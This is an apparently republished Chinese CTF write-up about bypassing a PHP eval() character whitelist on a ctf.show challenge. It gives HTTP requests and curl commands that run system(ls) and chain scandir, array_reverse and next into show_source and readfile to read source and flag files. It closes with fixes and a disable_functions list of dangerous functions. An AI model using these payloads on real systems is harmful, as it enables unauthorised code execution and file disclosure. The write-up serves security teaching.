文章总结: 该文档详细分析了PHP代码执行器的安全漏洞,通过BurpSuite发现目标系统存在字符白名单过滤绕过问题。利用PHP未定义常量转为字符串的特性及函数链组合,成功实现无引号无空格的RCE攻击,读取flag.php文件。文章提供了完整的漏洞利用步骤和curl命令,并给出移除eval()、禁用危险函数等修复建议。 综合评分: 95 文章分类: 渗透测试,WEB安全,漏洞分析,代码审计,PHP安全
BurpSuite+AI渗透测试(五):无引号无空格也能RCE?PHP字符白名单的致命盲区
Web安全工具库
2026年6月8日 10:16 河南
在小说阅读器读本章
去阅读
目标系统:[TARGET_HOST].challenge.ctf.show
测试时间:2026年6月2日 07:52 UTC
测试工具:Burp Suite、curl
漏洞类型:PHP 代码注入 + 字符过滤绕过(Code Injection / Filter Bypass)
风险等级:严重
一、目标概述
目标为一个”PHP Code Executor”,允许用户提交 PHP 代码并在服务器端执行。初始 GET 请求返回正常页面,服务器为 nginx/1.20.1,PHP 版本 7.3.29。
GET / HTTP/1.1
Host: [TARGET_HOST].challenge.ctf.show
HTTP/1.1 200 OK
Server: nginx/1.20.1
Content-Type: text/html; charset=UTF-8
Content-Length: 2679
页面核心功能为一个 <textarea> 输入框,提交后通过 POST 将代码参数 code 发送至服务器执行。
二、信息收集
2.1 初步探测
直接提交含空格和引号的代码(如 echo 'Hello';),服务器拦截并返回错误:
POST / HTTP/1.1
Host: [TARGET_HOST].challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=echo+'Hello';
Error: Invalid characters detected!
Only letters, numbers, underscores, parentheses and semicolons are allowed.
说明存在严格的字符白名单过滤。
2.2 获取服务器端源码
通过 show_source 配合 scandir/array_reverse/current 的函数链(全在白名单内)读取 index.php,获得过滤正则和执行逻辑:
// 服务端关键源码(通过 show_source 还原)
try {
// 白名单正则,只允许:字母、数字、下划线、括号、分号
if (!preg_match('/^[a-zA-Z0-9();_]+$/', $_POST['code'])) {
thrownewException('Invalid characters detected! ...');
}
ob_start();
eval($_POST['code']); // 直接 eval 执行用户输入
$output = ob_get_clean();
echohtmlspecialchars($output);
} catch (Exception$e) {
echo'Error: ' . htmlspecialchars($e->getMessage());
}
核心问题:代码通过正则白名单过滤后直接传入 eval() 执行,只要能构造出符合白名单的有效 PHP 语句,即可执行任意代码。
2.3 确认 PHP 版本
POST / HTTP/1.1
code=echo(phpversion());
7.3.29
PHP 7.3 的一个关键特性:next() 对非引用的临时数组传参,只报 Notice 级别警告,不会中断执行,结果依然有效。
三、漏洞分析
3.1 字符限制白名单分析
允许字符集合:[a-zA-Z0-9();_]
被过滤的关键字符及影响:
| 被过滤字符 | 影响 |
| — | — |
| 空格无法写 cat flag.php 等带参数的 shell 命令 | |
| 点号 . | 无法直接写文件名 flag.php |
| 引号 ' " | 无法写字符串字面量 |
| 方括号 [ ] | 无法用数组下标取值 |
| 斜杠 / | 无法写绝对路径 |
3.2 未定义常量当字符串的 PHP 特性
PHP 7 以前,访问未定义常量会自动将常量名转为字符串(并产生 E_NOTICE):
// 以下两种在 PHP 7.3 中效果相同(后者报 Notice)
system("ls");
system(ls); // ls 作为未定义常量,被解释为字符串 "ls"
这使得不带引号的裸单词可以作为字符串参数使用,完美绕过引号限制。
3.3 通过函数链绕过数组下标限制
由于 [ 和 ] 被过滤,无法使用 $arr[2] 取数组元素,但可以用 PHP 内置数组操作函数替代:
scandir(getcwd())
→ ['.', '..', 'flag.php', 'index.php'] // 字母序排列
array_reverse(scandir(getcwd()))
→ ['index.php', 'flag.php', '..', '.'] // 反转后 index.php 在第0位,flag.php 在第1位
current(array_reverse(...))
→ 'index.php' // current() 取第一个元素
next(array_reverse(...))
→ 'flag.php' // next() 将指针后移并返回第二个元素
// PHP 7.3 对临时数组只报 Notice,不中断
整个调用链中所有函数名、括号、分号均在白名单内,零引号、零空格、零点号。
四、利用过程
步骤一:验证命令执行
利用未定义常量特性,构造不含任何被过滤字符的 system(ls) 调用:
POST / HTTP/1.1
Host: [TARGET_HOST].challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
code=system(ls);
Warning: Use of undefined constant ls - assumed 'ls' ...
flag.php
index.php
命令执行成功,当前目录下存在 flag.php 和 index.php。
步骤二:读取 index.php 源码
POST / HTTP/1.1
code=show_source(current(array_reverse(scandir(getcwd()))));
逻辑分解:
getcwd() → '/var/www/html'
scandir(getcwd()) → ['.', '..', 'flag.php', 'index.php']
array_reverse(scandir(getcwd())) → ['index.php', 'flag.php', '..', '.']
current(array_reverse(scandir(getcwd()))) → 'index.php'
show_source('index.php') → 输出高亮后的源码
返回完整 index.php 源码,确认了白名单正则与 eval() 执行逻辑(见 2.2 节)。
步骤三:读取 flag.php 源码
将 current 替换为 next,使数组指针移动到第二个元素 flag.php:
POST / HTTP/1.1
code=show_source(next(array_reverse(scandir(getcwd()))));
逻辑分解:
array_reverse(scandir(getcwd())) → ['index.php', 'flag.php', '..', '.']
next(...) → 'flag.php' (PHP 7.3 报 Notice 但不中断)
show_source('flag.php') → 输出 flag.php 内容
返回 flag.php 高亮源码,内容如下:
<?php
$flag = "[FLAG_REDACTED]";
步骤四:用 readfile 二次验证
POST / HTTP/1.1
code=readfile(next(array_reverse(scandir(getcwd()))));
<?php
$flag = "[FLAG_REDACTED]";
两种方式均成功读取到 Flag,漏洞利用链完整。
五、漏洞复现(完整 curl 命令)
TARGET="https://[TARGET_HOST].challenge.ctf.show"
# 步骤1:验证命令执行(利用未定义常量特性)
curl -s -X POST "$TARGET/" \
-d "code=system(ls);"
# 步骤2:读取 index.php 源码
curl -s -X POST "$TARGET/" \
-d "code=show_source(current(array_reverse(scandir(getcwd()))));"
# 步骤3:读取 flag.php(核心 Payload)
curl -s -X POST "$TARGET/" \
-d "code=show_source(next(array_reverse(scandir(getcwd()))));"
# 步骤4:用 readfile 验证读取内容
curl -s -X POST "$TARGET/" \
-d "code=readfile(next(array_reverse(scandir(getcwd()))));"
六、漏洞成因总结
这道题的漏洞由两个问题叠加产生:
问题一:字符白名单不能替代语义过滤
// 当前过滤逻辑
if (!preg_match('/^[a-zA-Z0-9();_]+$/', $_POST['code'])) {
throw new Exception('...');
}
eval($_POST['code']); // 仍然 eval 执行
字符白名单只限制了输入的”外形”,但没有限制 PHP 的执行语义。攻击者可以用白名单内的字符组合出危险操作(文件读取、命令执行等)。
问题二:直接 eval 用户输入
eval() 执行用户可控的任意字符串是根本风险。无论如何设计过滤,只要最终调用 eval(),就需要确保输入完全不包含任何可执行语义。这在实践中几乎不可能通过黑/白名单字符过滤实现。
七、修复建议
- 1. 根本方案:移除 eval()。代码执行器如果是业务需要,应在完全隔离的沙箱环境(如独立容器、seccomp 限制的进程)中运行,且不能访问宿主文件系统。
- 2. 禁止危险函数:在
php.ini中配置disable_functions禁用高危函数:
disable_functions = system,exec,passthru,shell_exec,popen,proc_open,
scandir,readfile,file_get_contents,show_source,
highlight_file,include,require
- 3. 不依赖字符过滤来保证安全:字符白名单可以作为辅助防御,但不能作为主要安全机制。真正的防御应在语义层(限制可调用的函数集合)而非字符层完成。
- 4. PHP 版本升级:PHP 8.0+ 中未定义常量会直接抛出
Error(不再静默转为字符串),步骤一中system(ls)的利用方式将失效,但步骤三的函数链仍然有效,因此升级版本只能减少部分攻击面,不能根治问题。
八、结论
| 项目 | 详情 |
| — | — |
| 漏洞名称 | PHP eval() 注入 + 字符白名单绕过 |
| 核心 Payload | show_source(next(array_reverse(scandir(getcwd())))); |
| 利用难度 | 中(需了解 PHP 函数特性与版本行为差异) |
| 获取 Flag | [FLAG_REDACTED] |
| 修复优先级 | 严重,建议立即下线或沙箱隔离 |
·今 日 鉴 图·
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Web安全工具库 《BurpSuite+AI渗透测试(五):无引号无空格也能RCE?PHP字符白名单的致命盲区》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论